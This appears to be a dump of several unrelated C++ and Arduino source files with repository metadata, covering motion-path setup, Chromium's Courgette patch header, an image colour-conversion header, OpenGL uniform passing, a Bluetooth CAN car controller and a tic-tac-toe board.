dY+1.0, dZ+0.0, //center point of arc: x=4, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = g_stage.AddLineSeg(dX+3.0, dY+0.0, dZ+0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; res = g_stage.AddStart(dX+3.0, dY+0.0, dZ+0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; res = g_stage.AddLineSeg(dX+0.0, dY+0.0, dZ+0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; } int CreatePath1A_XOffset(double dX, double dY, double dZ, Path & vPath) { int res; // //Clear the segment list and initialize the starting point for the path // vPath.ClearSegListA(dX, dY, dZ); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // res = vPath.AddLineSegA(dX, dY+1.0, dZ+0.0); //Add a segment to move to x=0, y=2, z=0 if (res<0) return -1; res = vPath.AddArcSegA( dX+1.0, dY+2.0, dZ+0.0, //end point of arc: x=1, y=3, z=0 dX+1.0, dY+1.0, dZ+0.0, //center point of arc: x=1, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = vPath.AddLineSegA(dX+2.0, dY+2.0, dZ+0.0); //line segment endpoint: x=4, y=3, z=0 if (res<0) return -1; // ServoInf::m_pNMCServo->ClearSegList(4.0, 3.0, 0.0); //Clear the segment list and set the // ExecutePath3Axis(); res = vPath.AddArcSegA( dX+3.0, dY+1.0, dZ+0.0, //end point of arc: x=5, y=2, z=0 dX+2.0, dY+1.0, dZ+0.0, //center point of arc: x=4, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = vPath.AddLineSegA(dX+3.0, dY+0.0, dZ+0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; res = vPath.AddStartA(dX+3.0, dY+0.0, dZ+0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; res = vPath.AddLineSegA(dX+0.0, dY+0.0, dZ+0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; } int CreateSplinePath () { int res; // //Clear the segment list and initialize the starting point for the path // g_stage.ClearSegList(0.0, 0.0, 0.0); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // vector<double> CtrlPts; SetControlPts(CtrlPts); res = g_stage.AddSplineSeg(CtrlPts, 60, enCatmullRom); //Add a segment to move to x=0, y=2, z=0 if (res<0) return -1; }; int CreatePath1_2() { int res; // //Clear the segment list and initialize the starting point for the path // g_stage.ClearSegList(3.0, 0.0, 0.0); //Clear the segment list and set the // starting point for the path // at X = 5, Y = 0, Z = 0 // //Add line and arc segments to the path module's segment list for first move // res = g_stage.AddLineSeg(0.0, 0.0, 0.0); //Add a segment to move to x=0, y=2, z=0 if (res<0) return -1; } void ExecutePath3Axis() { // g_stage.SetPathStatus(); g_stage.ExecuteCoordMotion(); } void ResetModules(int & iModules) { if (iModules == 0) return; NmcShutdown(); }; void ExecutePath() { // //Initialize the path just before execution // //InitPath(); // //Download path points to the PIC-SERVO CMC modules until all points are // downloaded. Motion will begin automatically when the minimum number // of path points have been loaded. // //while ( AddPathPoints() != -1 ) ; // //Poll the X axis module to detect when the path is complete // do { NmcNoOp(1); //retrieve current status data } while ( ServoGetAux(1) & PATH_MODE ); //poll while still in path mode }; int SetControlPts(vector<double> & Points) { Points.push_back(0.0); // x0 Points.push_back(0.0); // y0 Points.push_back(0.0); // z0 Points.push_back(0.0); // x1 Points.push_back(2.0); // y1 Points.push_back(0.0); // z1 Points.push_back(2.0); // x2 Points.push_back(1.0); // y2 Points.push_back(0.0); // z2 Points.push_back(2.0); // x3 Points.push_back(0.0); // y3 Points.push_back(0.0); // z3 Points.push_back(2.0); // x4 Points.push_back(0.0); // y4 Points.push_back(0.0); // z4 Points.push_back(2.0); // x5 Points.push_back(-1.0); // y5 Points.push_back(0.0); // z5 Points.push_back(0.0); // x6 Points.push_back(-2.0); // y6 Points.push_back(0.0); // z6 Points.push_back(0.0); // x7 Points.push_back(0.0); // y7 Points.push_back(0.0); // z7 return 0; };
[ "d_uchiy@hotmail.com" ]
d_uchiy@hotmail.com
a4486d661aab6a415bdecf6cbfefe79cebbf7d16
88ae8695987ada722184307301e221e1ba3cc2fa
/courgette/ensemble.h
6485fdb06bd798439a6b2a4be4f9c55976666a27
[ "BSD-3-Clause" ]
permissive
iridium-browser/iridium-browser
71d9c5ff76e014e6900b825f67389ab0ccd01329
5ee297f53dc7f8e70183031cff62f37b0f19d25f
refs/heads/master
2023-08-03T16:44:16.844552
2023-07-20T15:17:00
2023-07-23T16:09:30
220,016,632
341
40
BSD-3-Clause
2021-08-13T13:54:45
2019-11-06T14:32:31
null
UTF-8
C++
false
false
8,952
h
// Copyright 2011 The Chromium Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // The main idea in Courgette is to do patching *under a tranformation*. The // input is transformed into a new representation, patching occurs in the new // repesentation, and then the tranform is reversed to get the patched data. // // The idea is applied to pieces (or 'Elements') of the whole (or 'Ensemble'). // Each of the elements has to go through the same set of steps in lock-step, // but there may be many different kinds of elements, which have different // transformation. // // This file declares all the main types involved in creating and applying a // patch with this structure. #ifndef COURGETTE_ENSEMBLE_H_ #define COURGETTE_ENSEMBLE_H_ #include <stddef.h> #include <stdint.h> #include <string> #include <vector> #include "base/memory/raw_ptr.h" #include "courgette/courgette.h" #include "courgette/region.h" #include "courgette/streams.h" namespace courgette { // Forward declarations: class Ensemble; // An Element is a region of an Ensemble with an identifyable kind. // class Element { public: Element(ExecutableType kind, Ensemble* ensemble, const Region& region); Element(const Element&) = delete; Element& operator=(const Element&) = delete; virtual ~Element(); ExecutableType kind() const { return kind_; } const Region& region() const { return region_; } // The name is used only for debugging and logging. virtual std::string Name() const; // Returns the byte position of this Element relative to the start of // containing Ensemble. size_t offset_in_ensemble() const; private: ExecutableType kind_; raw_ptr<Ensemble> ensemble_; Region region_; }; class Ensemble { public: Ensemble(const Region& region, const char* name) : region_(region), name_(name) {} Ensemble(const Ensemble&) = delete; Ensemble& operator=(const Ensemble&) = delete; ~Ensemble(); const Region& region() const { return region_; } const std::string& name() const { return name_; } // Scans the region to find Elements within the region(). Status FindEmbeddedElements(); // Returns the elements found by 'FindEmbeddedElements'. const std::vector<Element*>& elements() const { return elements_; } private: Region region_; // The memory, owned by caller, containing the // Ensemble's data. std::string name_; // A debugging/logging name for the Ensemble. std::vector<Element*> elements_; // Embedded elements discovered. std::vector<Element*> owned_elements_; // For deallocation. }; inline size_t Element::offset_in_ensemble() const { return region().start() - ensemble_->region().start(); } // The 'CourgettePatchFile' is class is a 'namespace' for the constants that // appear in a Courgette patch file. struct CourgettePatchFile { // // The Courgette patch format interleaves the data for N embedded Elements. // // Format of a patch file: // header: // magic // version // source-checksum // target-checksum // final-patch-input-size (an allocation hint) // multiple-streams: // stream 0: // number-of-transformed-elements (N) - varint32 // transformation-1-method-id // transformation-2-method-id // ... // transformation-1-initial-parameters // transformation-2-initial-parameters // ... // stream 1: // correction: // transformation-1-parameters // transformation-2-parameters // ... // stream 2: // correction: // transformed-element-1 // transformed-element-2 // ... // stream 3: // correction: // base-file // element-1 // element-2 // ... static const uint32_t kMagic = 'C' | ('o' << 8) | ('u' << 16); static const uint32_t kVersion = 20110216; }; // For any transform you would implement both a TransformationPatcher and a // TransformationPatchGenerator. // // TransformationPatcher is the interface which abstracts out the actual // transformation used on an Element. The patching itself happens outside the // actions of a TransformationPatcher. There are four steps. // // The first step is an Init step. The parameters to the Init step identify the // element, for example, range of locations within the original ensemble that // correspond to the element. // // PredictTransformParameters, explained below. // // The two final steps are 'Transform' - to transform the element into a new // representation, and to 'Reform' - to transform from the new representation // back to the original form. // // The Transform step takes some parameters. This allows the transform to be // customized to the particular element, or to receive some assistance in the // analysis required to perform the transform. The transform parameters might // be extensive but mostly predicable, so preceeding Transform is a // PredictTransformParameters step. // class TransformationPatcher { public: virtual ~TransformationPatcher() {} // First step: provides parameters for the patching. This would at a minimum // identify the element within the ensemble being patched. virtual Status Init(SourceStream* parameter_stream) = 0; // Second step: predicts transform parameters. virtual Status PredictTransformParameters( SinkStreamSet* predicted_parameters) = 0; // Third step: transforms element from original representation into alternate // representation. virtual Status Transform(SourceStreamSet* corrected_parameters, SinkStreamSet* transformed_element) = 0; // Final step: transforms element back from alternate representation into // original representation. virtual Status Reform(SourceStreamSet* transformed_element, SinkStream* reformed_element) = 0; }; // TransformationPatchGenerator is the interface which abstracts out the actual // transformation used (and adjustment used) when differentially compressing one // Element from the |new_ensemble| against a corresponding element in the // |old_ensemble|. // // This is not a pure interface. There is a small amount of inheritance // implementation for the fields and actions common to all // TransformationPatchGenerators. // // When TransformationPatchGenerator is subclassed, there will be a // corresponding subclass of TransformationPatcher. // class TransformationPatchGenerator { public: TransformationPatchGenerator(Element* old_element, Element* new_element, TransformationPatcher* patcher); virtual ~TransformationPatchGenerator(); // Returns the TransformationMethodId that identies this transformation. virtual ExecutableType Kind() = 0; // Writes the parameters that will be passed to TransformationPatcher::Init. virtual Status WriteInitialParameters(SinkStream* parameter_stream) = 0; // Predicts the transform parameters for the |old_element|. This must match // exactly the output that will be produced by the PredictTransformParameters // method of the corresponding subclass of TransformationPatcher. This method // is not pure. The default implementation delegates to the patcher to // guarantee matching output. virtual Status PredictTransformParameters(SinkStreamSet* prediction); // Writes the desired parameters for the transform of the old element from the // file representation to the alternate representation. virtual Status CorrectedTransformParameters(SinkStreamSet* parameters) = 0; // Writes both |old_element| and |new_element| in the new representation. // |old_corrected_parameters| will match the |corrected_parameters| passed to // the Transform method of the corresponding sublcass of // TransformationPatcher. // // The output written to |old_transformed_element| must match exactly the // output written by the Transform method of the corresponding subclass of // TransformationPatcher. virtual Status Transform(SourceStreamSet* old_corrected_parameters, SinkStreamSet* old_transformed_element, SinkStreamSet* new_transformed_element) = 0; // Transforms the new transformed_element back from the alternate // representation into the original file format. This must match exactly the // output that will be produced by the corresponding subclass of // TransformationPatcher::Reform. This method is not pure. The default // implementation delegates to the patcher. virtual Status Reform(SourceStreamSet* transformed_element, SinkStream* reformed_element); protected: raw_ptr<Element> old_element_; raw_ptr<Element> new_element_; raw_ptr<TransformationPatcher> patcher_; }; } // namespace #endif // COURGETTE_ENSEMBLE_H_
[ "jengelh@inai.de" ]
jengelh@inai.de
df14c612f3e1ee2373f322b55d620bf19a8e3d22
dc8a39026a1b316ee737b882bd0ffefbdbcade9e
/Assignment3/PrintMenu.cpp
5d812339cd40b436211d5bd00d381fb29157cf82
[]
no_license
packerfan626/CS1D
69d918cbf28bfb7045ad69cad44d687a92d14b3a
d75fe37918a53e9b3367cd609a7242688da7dd24
refs/heads/master
2021-01-18T14:14:51.209814
2015-03-18T01:51:31
2015-03-18T01:51:31
29,570,791
0
0
null
null
null
null
UTF-8
C++
false
false
670
cpp
/********************************************************* * AUTHOR : Dori J. Mouawad * Assignment#3 : Stacks * CLASS : CS1D * SECTION : TTH: 5:30-9:20pm * Due Date : 2/10/2015 *********************************************************/ #include "header.h" void PrintMenu(int &selection) { cout << "Make a selection:\n"; cout << "1--Implement stacks using STL Vector\n"; cout << "2--Implement a stack using a singly linked list\n"; cout << "3--Implement a deque using a linked list\n"; cout << "4--Implement the Parentheses Algorithm\n"; cout << "0--Exit\n"; cout << "\nSelection: "; cin >> selection; cout << endl << endl; }
[ "dori_mouawad@hotmail.com" ]
dori_mouawad@hotmail.com
dd6393c74ab98001f05f66c5fe4a0fc6641825db
926109e9ce824aa349dce2a04b9c7796c14e2e4f
/pik/yuv_opsin_convert.h
0a22f58094d9eb37deaa0ef7a52e7e733582beee
[ "MIT" ]
permissive
google/pik
4d9077e9a5f99a52e30bf4167b9dcfc50432edda
be30e6e06c10b7830b0d5843b6b25666654033cd
refs/heads/master
2023-05-14T23:43:16.542177
2022-10-27T13:53:21
2022-10-27T13:53:21
98,166,459
899
68
MIT
2023-03-23T18:25:25
2017-07-24T08:16:27
C++
UTF-8
C++
false
false
792
h
// Copyright 2017 Google Inc. All Rights Reserved. // // Use of this source code is governed by an MIT-style // license that can be found in the LICENSE file or at // https://opensource.org/licenses/MIT. #ifndef PIK_YUV_OPSIN_CONVERT_H_ #define PIK_YUV_OPSIN_CONVERT_H_ #include "pik/image.h" namespace pik { Image3B RGB8ImageFromYUVOpsin(const Image3U& yuv, int bit_depth); Image3U RGB16ImageFromYUVOpsin(const Image3U& yuv, int bit_depth); Image3F RGBLinearImageFromYUVOpsin(const Image3U& yuv, int bit_depth); Image3U YUVOpsinImageFromRGB8(const Image3B& rgb, int out_bit_depth); Image3U YUVOpsinImageFromRGB16(const Image3U& rgb, int out_bit_depth); Image3U YUVOpsinImageFromRGBLinear(const Image3F& rgb, int out_bit_depth); } // namespace pik #endif // PIK_YUV_OPSIN_CONVERT_H_
[ "deymo@google.com" ]
deymo@google.com
3ea8313cf2dae6e4bbe0089b8ef0d2bcd890cda9
ea019377398f18f8fa4341448a09e49c1975e7ea
/Assignments/Lab07_AIGame/Engine/UniformData.cpp
ad6f6e013be37e9fb1e0e3d6dc5998f8fc1fc97b
[]
no_license
jlfurtado/Neumont-GAT420-AI
4bf6040a1b6af172062a02b1783e608b787d3f44
e272feabe6d8b4ff5eb8bac460b305117f0d2a10
refs/heads/master
2021-09-26T06:26:30.797705
2018-07-22T20:04:01
2018-07-22T20:04:01
141,926,726
0
0
null
null
null
null
UTF-8
C++
false
false
6,052
cpp
#include "UniformData.h" #include "GL\glew.h" #include "GameLogger.h" #include <assert.h> #include "MyGL.h" namespace Engine { UniformData::UniformData() : m_uniformType(GL_FLOAT_VEC3), m_pUniformData(nullptr), m_uniformDataLoc(0) { } UniformData::UniformData(GLenum type, void * dataAddress, int dataLoc, bool log) : m_uniformType(type), m_pUniformData(dataAddress), m_uniformDataLoc(dataLoc), m_logForThis(log) { InitFromType(); } bool UniformData::PassUniform() { m_callback(this); return true; } void ** UniformData::GetUniformDataPtrPtr() { return &m_pUniformData; } int UniformData::GetUniformDataLoc() const { return m_uniformDataLoc; } GLenum UniformData::GetType() const { return m_uniformType; } void UniformData::InitFromType() { if (!m_pUniformData) { GameLogger::Log(MessageType::cError, "Uniform InitFromType called but data address is nullptr!\n"); } if (m_uniformDataLoc <= 0) { GameLogger::Log(MessageType::cError, "Uniform InitFromType called but data location was less than or equal to zero!\n"); } switch (m_uniformType) { case GL_FLOAT_MAT4: m_callback = PassFloatMat4; break; case GL_FLOAT_VEC3: m_callback = PassFloatVec3; break; case GL_FLOAT: m_callback = PassFloat; break; case GL_INT: m_callback = PassInt; break; case GL_FLOAT_VEC4: m_callback = PassFloatVec4; break; case GL_FLOAT_VEC2: m_callback = PassFloatVec2; break; case GL_VERTEX_SHADER: case GL_GEOMETRY_SHADER: case GL_FRAGMENT_SHADER: m_callback = PassSubroutineIndex; break; case GL_TEXTURE0: case GL_TEXTURE1: case GL_TEXTURE2: case GL_TEXTURE3: case GL_TEXTURE4: case GL_TEXTURE5: case GL_TEXTURE6: case GL_TEXTURE7: case GL_TEXTURE8: case GL_TEXTURE9: case GL_TEXTURE10: case GL_TEXTURE11: case GL_TEXTURE12: case GL_TEXTURE13: case GL_TEXTURE14: case GL_TEXTURE15: case GL_TEXTURE16: case GL_TEXTURE17: case GL_TEXTURE18: case GL_TEXTURE19: case GL_TEXTURE20: case GL_TEXTURE21: case GL_TEXTURE22: case GL_TEXTURE23: case GL_TEXTURE24: case GL_TEXTURE25: case GL_TEXTURE26: case GL_TEXTURE27: case GL_TEXTURE28: case GL_TEXTURE29: case GL_TEXTURE30: case GL_TEXTURE31: m_callback = PassTexture; break; default: m_callback = UnknownType; } } void UniformData::PassFloatMat4(UniformData * pData) { glUniformMatrix4fv(pData->m_uniformDataLoc, 1, GL_FALSE, reinterpret_cast<float*>(pData->m_pUniformData)); // log // if (m_logForThis) { GameLogger::Log(MessageType::ConsoleOnly, "Passed (%.3f, %.3f, %.3f, %.3f)\n\t\t\t\t(%.3f, %.3f, %.3f, %.3f)\n\t\t\t\t(%.3f, %.3f, %.3f, %.3f)\n\t\t\t\t(%.3f, %.3f, %.3f, %.3f) to uniform [%d]\n", *(reinterpret_cast<float*>(m_pUniformData) + 0), *(reinterpret_cast<float*>(m_pUniformData) + 4), *(reinterpret_cast<float*>(m_pUniformData) + 8), *(reinterpret_cast<float*>(m_pUniformData) + 12), *(reinterpret_cast<float*>(m_pUniformData) + 3), *(reinterpret_cast<float*>(m_pUniformData) + 7), *(reinterpret_cast<float*>(m_pUniformData) + 11), *(reinterpret_cast<float*>(m_pUniformData) + 15), m_uniformDataLoc); } } void UniformData::PassInt(UniformData * pData) { glUniform1i(pData->m_uniformDataLoc, *reinterpret_cast<int*>(pData->m_pUniformData)); // log //if (m_logForThis) { GameLogger::Log(MessageType::ConsoleOnly, "Passed %d to uniform [%d]\n", *reinterpret_cast<int*>(m_pUniformData), m_uniformDataLoc); } } void UniformData::PassFloatVec4(UniformData * pData) { float *pUniformData = reinterpret_cast<float*>(pData->m_pUniformData); glUniform4f(pData->m_uniformDataLoc, *pUniformData, *(pUniformData + 1), *(pUniformData + 2), *(pUniformData + 3)); // LOG //if (pData->m_logForThis) { GameLogger::Log(MessageType::ConsoleOnly, "Passed (%.3f, %.3f, %.3f, %.3f) to uniform [%d]\n", *reinterpret_cast<float*>(m_pUniformData), *(pUniformData + 1), *(pUniformData + 2), *(pUniformData + 3), m_uniformDataLoc); } } void UniformData::PassFloatVec3(UniformData * pData) { float *pUniformData = reinterpret_cast<float*>(pData->m_pUniformData); glUniform3f(pData->m_uniformDataLoc, *pUniformData, *( pUniformData + 1), *(pUniformData + 2)); // log // //if (m_logForThis) { GameLogger::Log(MessageType::ConsoleOnly, "Passed (%.3f, %.3f, %.3f) to uniform [%d]\n", *reinterpret_cast<float*>(m_pUniformData), *(reinterpret_cast<float*>(m_pUniformData) + 1), *(reinterpret_cast<float*>(m_pUniformData) + 2), m_uniformDataLoc); } } void UniformData::PassFloatVec2(UniformData * pData) { float *pUniformData = reinterpret_cast<float*>(pData->m_pUniformData); glUniform2f(pData->m_uniformDataLoc, *pUniformData, *(pUniformData) + 1); // log //if (m_logForThis) { GameLogger::Log(MessageType::ConsoleOnly, "Passed (%.3f, %.3f) to uniform [%d]\n", *reinterpret_cast<float*>(m_pUniformData), *(reinterpret_cast<float*>(m_pUniformData) + 1), m_uniformDataLoc); } } void UniformData::PassFloat(UniformData * pData) { glUniform1f(pData->m_uniformDataLoc, *reinterpret_cast<float*>(pData->m_pUniformData)); // log } void UniformData::PassSubroutineIndex(UniformData * pData) { glUniformSubroutinesuiv(pData->m_uniformType, pData->m_uniformDataLoc, reinterpret_cast<GLuint*>(pData->m_pUniformData)); // TODO: IT WORKS BUT ITS NOT READABLE (STUFF BADLY NAMED FOR THIS CASE WHICH IS UGLY ANYWAY)... REFACTOR!!! // log } void UniformData::PassTexture(UniformData * pData) { glActiveTexture(pData->m_uniformType); glBindTexture(GL_TEXTURE_2D, *reinterpret_cast<int*>(pData->m_pUniformData)); glUniform1i(pData->m_uniformDataLoc, (pData->m_uniformType - GL_TEXTURE0)); // log //if (m_logForThis) { GameLogger::Log(MessageType::ConsoleOnly, "Passed (%d) to uniform [%d]\n", *reinterpret_cast<int*>(m_pUniformData), m_uniformDataLoc); } } void Engine::UniformData::UnknownType(UniformData * pData) { GameLogger::Log(MessageType::cError, "Unknown uniform data type [%d]!\n", pData->m_uniformType); } }
[ "justin.l.furtado@gmail.com" ]
justin.l.furtado@gmail.com
8f08147e24439bda9cdfbc68a549254af61093be
e32798ac14b1e6c9659f8f85a073daf9fb294969
/ADB21_Main/ADB21.ino
1b588332b401749bd431e91c6eb63ddbe4c84ac7
[]
no_license
20stefan05/ADB21
b953df7a92c780cfc5add839cbfe99fba7649327
9773b0e8065836a0d11486c4829ad8f3eaf0a460
refs/heads/main
2023-08-21T15:41:42.176675
2021-10-30T13:41:15
2021-10-30T13:41:15
422,889,426
0
0
null
null
null
null
UTF-8
C++
false
false
2,386
ino
#include <SoftwareSerial.h> #include <SPI.h> #include "mcp2515_can.h" #include "Move.h" #include "Lights.h" SoftwareSerial bt(0, 1); const int SPI_CS_PIN = 10; mcp2515_can CAN(SPI_CS_PIN); void setup() { // put your setup code here, to run once: Serial.begin(9600); bt.begin(9600); while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k Serial.println("CAN init fail, retry..."); delay(100); } Serial.println("CAN init ok!"); delay(100); } int cmd; void loop() { // put your main code here, to run repeatedly: if (bt.available()){ cmd = bt.read(); if( cmd != 83) Serial.println(cmd); switch (cmd){ case 70:{ unsigned char msg[2] ={'F', mvForward()}; // front CAN.sendMsgBuf(0x01, 0, 2, msg); break; } case 66: { unsigned char msg[2] ={'B', mvBackward()}; // back CAN.sendMsgBuf(0x01, 0, 2, msg); break; } case 76:{ unsigned char msg[2] ={'L', 0}; //left CAN.sendMsgBuf(0x01, 0, 2, msg); break; } case 82:{ unsigned char msg[2] ={'R', 0}; //right CAN.sendMsgBuf(0x01, 0, 2, msg); break; } case 87: fLightOn(); break; case 119: fLightOff(); break; case 85: bLightOn(); break; case 117: blightOff(); break; case 88: blinkOn(); break; case 120: blinkOff(); break; case 86: hornOn(); break; case 118: hornOff(); break; case 73:{ unsigned char msg[2] ={'F', mvForward()}; // front CAN.sendMsgBuf(0x01, 0, 2, msg); unsigned char msg1[2] ={'R', 0}; //right CAN.sendMsgBuf(0x01, 0, 2, msg1); break; } case 74:{ unsigned char msg[2] ={'B', mvBackward()}; // back CAN.sendMsgBuf(0x01, 0, 2, msg); unsigned char msg1[2] ={'R', 0}; //right CAN.sendMsgBuf(0x01, 0, 2, msg1); break; } case 72:{ unsigned char msg[2] ={'B', mvBackward()}; // back CAN.sendMsgBuf(0x01, 0, 2, msg); unsigned char msg1[2] ={'L', 0}; //left CAN.sendMsgBuf(0x01, 0, 2, msg1); break; } case 71:{ unsigned char msg[2] ={'F', mvForward()}; // front CAN.sendMsgBuf(0x01, 0, 2, msg); unsigned char msg1[2] ={'L', 0}; //left CAN.sendMsgBuf(0x01, 0, 2, msg1); break; } case 83: break; default: setSpeed(cmd); break; } } }
[ "noreply@github.com" ]
20stefan05.noreply@github.com
2dc3eccfb02456a73234e3a49ad1f557d3c66766
04842320113506bee48a6072d786331535a4d908
/headers/MeleeClass.h
3a95b38039e3556a9d362d3293296f45b9d9a964
[]
no_license
ausroa/C_RpgGame
25ebd2bf47a3dcb7e125d3d75786383949c277fd
2307e380029a0f83644e39f0578163b56b398d0a
refs/heads/master
2020-03-22T22:56:57.941874
2018-08-02T23:03:18
2018-08-02T23:03:18
140,780,574
0
1
null
2018-07-15T00:01:24
2018-07-13T01:18:37
C++
UTF-8
C++
false
false
342
h
// // Created by ausro on 7/12/2018. // #ifndef C_RPGGAME_MELEECLASS_H #define C_RPGGAME_MELEECLASS_H #include <iostream> #include "Character.h" class MeleeClass: public Character { private: public: MeleeClass(); ~MeleeClass(); void Initialize(std::string name); void PrintStats(); }; #endif //C_RPGGAME_MELEECLASS_H
[ "ausroa@gmail.com" ]
ausroa@gmail.com
e7130cd18e925f44198eff8693042a236f3ed2b1
51dc564c9777ee79c1112d08e154c8393e634349
/TheTicTacToe/src/TicTacToeBoard.cpp
807af7120e4a2b9194c715ffe5908472a0221797
[ "MIT" ]
permissive
aryanrawlani28/the-TicTacToe-Project
e86025332732b4f58e89116b4d5ad409e33bd614
43792bca8f7e90b3651b298c5c1ab615412ea103
refs/heads/master
2020-11-23T21:11:39.673604
2020-01-25T08:32:38
2020-01-25T08:32:38
227,822,178
1
0
null
null
null
null
UTF-8
C++
false
false
7,851
cpp
#include "TicTacToeBoard.h" TicTacToeBoard::TicTacToeBoard() { Board1 = { {' ', ' ', ' '}, {' ', ' ', ' '}, {' ', ' ', ' '} }; } const void TicTacToeBoard::getTitle() { std::cout << mainTitle; } void TicTacToeBoard::PrintBoard(const TicTacToeBoard& B1) const { std::cout << B1; } int TicTacToeBoard::getMoves() const { return this->MovesMade; } void TicTacToeBoard::setMoves() { this->MovesMade = ++MovesMade; } bool TicTacToeBoard::setBoard(TicTacToeBoard& B1, const int& who, int& x, int& y) { if (who % 2 == 0 || who == 0) { B1.Board1[x][y] = 'X'; //The player who wins the toss, gets the first chance and the letter "X" to play. In increments of 2, his chance comes again. } else { B1.Board1[x][y] = 'O'; } if (who > 3) { //Minimum 4 moves for a winner. No need to check board for winner before that. if (checkBoardForResult(B1)) { return true; //if this returns true, our game comes to know that game should be stopped, because we have a winner. } else { return false; //else it continues as normal. } } return false; } bool TicTacToeBoard::checkBoardForResult(const TicTacToeBoard& B1) const { //Checks board if someone has won. If yes, returns true. Otherwise, false. char board[] = { 'X', 'O' }; for (char c : board) { if (c == B1.Board1[0][0]) { //Primary diagonal if (c == B1.Board1[1][1]) { if (c == B1.Board1[2][2]) { return true; } } } if (c == B1.Board1[2][0]) { //Secondary diagonal if (c == B1.Board1[1][1]) { if (c == B1.Board1[0][2]) { return true; } } } if (c == B1.Board1[0][0]) { // Row0 if (c == B1.Board1[0][1]) { if (c == B1.Board1[0][2]) { return true; } } } if (c == B1.Board1[1][0]) { // Row1 if (c == B1.Board1[1][1]) { if (c == B1.Board1[1][2]) { return true; } } } if (c == B1.Board1[2][0]) { // Row2 if (c == B1.Board1[2][1]) { if (c == B1.Board1[2][2]) { return true; } } } if (c == B1.Board1[0][0]) { // Col0 if (c == B1.Board1[1][0]) { if (c == B1.Board1[2][0]) { return true; } } } if (c == B1.Board1[0][1]) { // Col1 if (c == B1.Board1[1][1]) { if (c == B1.Board1[2][1]) { return true; } } } if (c == B1.Board1[0][2]) { // Col2 if (c == B1.Board1[1][2]) { if (c == B1.Board1[2][2]) { return true; } } } } return false; } std::pair<int, int> TicTacToeBoard::specialCheckForAIComputer(const TicTacToeBoard& B1, const int& who) { this->counter = 0; char ch; //This function checks if the computer can win, or the player can win. If yes, return that pair. Else, return a pair(-1,-1) for further analysis. if (who == 0 || who % 2 == 0) { // Decide who we are actually checking. ch = 'X'; } else { ch = 'O'; } // Primary Diagonal if (ch == B1.Board1[0][0]) { counter++; } if (ch == B1.Board1[1][1]) { counter++; } if (ch == B1.Board1[2][2]) { counter++; } if (counter == 2) { if (ch == B1.Board1[0][0] && ch == B1.Board1[1][1] && ' ' == B1.Board1[2][2]) { return std::make_pair(2, 2); } else if (ch == B1.Board1[1][1] && ch == B1.Board1[2][2] && ' ' == B1.Board1[0][0]) { return std::make_pair(0, 0); } else if (ch == B1.Board1[0][0] && ch == B1.Board1[2][2] && ' ' == B1.Board1[1][1]) { return std::make_pair(1, 1); } } counter = 0; // Secondary diagonal if (ch == B1.Board1[2][0]) { counter++; } if (ch == B1.Board1[1][1]) { counter++; } if (ch == B1.Board1[0][2]) { counter++; } if (counter == 2) { if (ch == B1.Board1[2][0] && ch == B1.Board1[1][1] && ' ' == B1.Board1[0][2]) { return std::make_pair(0, 2); } else if (ch == B1.Board1[1][1] && ch == B1.Board1[0][2] && ' ' == B1.Board1[2][0]) { return std::make_pair(2, 0); } else if (ch == B1.Board1[0][2] && ch == B1.Board1[2][0] && ' ' == B1.Board1[1][1]) { return std::make_pair(1, 1); } } counter = 0; //////////////////////////////////////////////////////////////////////////////////////////////// if (ch == B1.Board1[0][0]) { //Row 0 counter++; } if (ch == B1.Board1[0][1]) { counter++; } if (ch == B1.Board1[0][2]) { counter++; } if (counter == 2) { if (ch == B1.Board1[0][0] && ch == B1.Board1[0][1] && ' ' == B1.Board1[0][2]) { return std::make_pair(0, 2); } else if (ch == B1.Board1[0][1] && ch == B1.Board1[0][2] && ' ' == B1.Board1[0][0]) { return std::make_pair(0, 0); } else if (ch == B1.Board1[0][2] && ch == B1.Board1[0][0] && ' ' == B1.Board1[0][1]) { return std::make_pair(0, 1); } } counter = 0; if (ch == B1.Board1[1][0]) { //Row 1 counter++; } if (ch == B1.Board1[1][1]) { counter++; } if (ch == B1.Board1[1][2]) { counter++; } if (counter == 2) { if (ch == B1.Board1[1][0] && ch == B1.Board1[1][1] && ' ' == B1.Board1[1][2]) { return std::make_pair(1, 2); } else if (ch == B1.Board1[1][1] && ch == B1.Board1[1][2] && ' ' == B1.Board1[1][0]) { return std::make_pair(1, 0); } else if (ch == B1.Board1[1][2] && ch == B1.Board1[1][0] && ' ' == B1.Board1[1][1]) { return std::make_pair(1, 1); } } counter = 0; if (ch == B1.Board1[2][0]) { //Row 2 counter++; } if (ch == B1.Board1[2][1]) { counter++; } if (ch == B1.Board1[2][2]) { counter++; } if (counter == 2) { if (ch == B1.Board1[2][0] && ch == B1.Board1[2][1] && ' ' == B1.Board1[2][2]) { return std::make_pair(2, 2); } else if (ch == B1.Board1[2][1] && ch == B1.Board1[2][2] && ' ' == B1.Board1[2][0]) { return std::make_pair(2, 0); } else if (ch == B1.Board1[2][2] && ch == B1.Board1[2][0] && ' ' == B1.Board1[2][1]) { return std::make_pair(2, 1); } } counter = 0; /////////////////////////////////////////////////////////////////////////////////////////////// if (ch == B1.Board1[0][0]) { //Col 0 counter++; } if (ch == B1.Board1[1][0]) { counter++; } if (ch == B1.Board1[2][0]) { counter++; } if (counter == 2) { if (ch == B1.Board1[0][0] && ch == B1.Board1[1][0] && ' ' == B1.Board1[2][0]) { return std::make_pair(2, 0); } else if (ch == B1.Board1[1][0] && ch == B1.Board1[2][0] && ' ' == B1.Board1[0][0]) { return std::make_pair(0, 0); } else if (ch == B1.Board1[2][0] && ch == B1.Board1[0][0] && ' ' == B1.Board1[1][0]) 